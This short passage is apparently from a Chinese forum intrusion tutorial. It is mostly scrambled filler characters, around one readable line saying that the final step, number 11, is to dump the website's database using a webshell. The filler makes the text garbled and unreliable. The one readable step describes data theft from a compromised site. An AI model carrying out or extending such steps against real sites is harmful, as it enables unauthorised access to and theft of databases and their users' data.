: Y e6 w6 E" W- b/ a8 a - }
4 v% G" \2 N+ v* I# Z -
: W) F; C. s# y5 ]* X: H - ?>
复制代码11、最后通过大码对网站数据库进行脱库' X' A/ I# q3 k- z
 % |4 w3 R7 r: a! J( G' s
) ~; ]7 @. X' A. G4 e ` |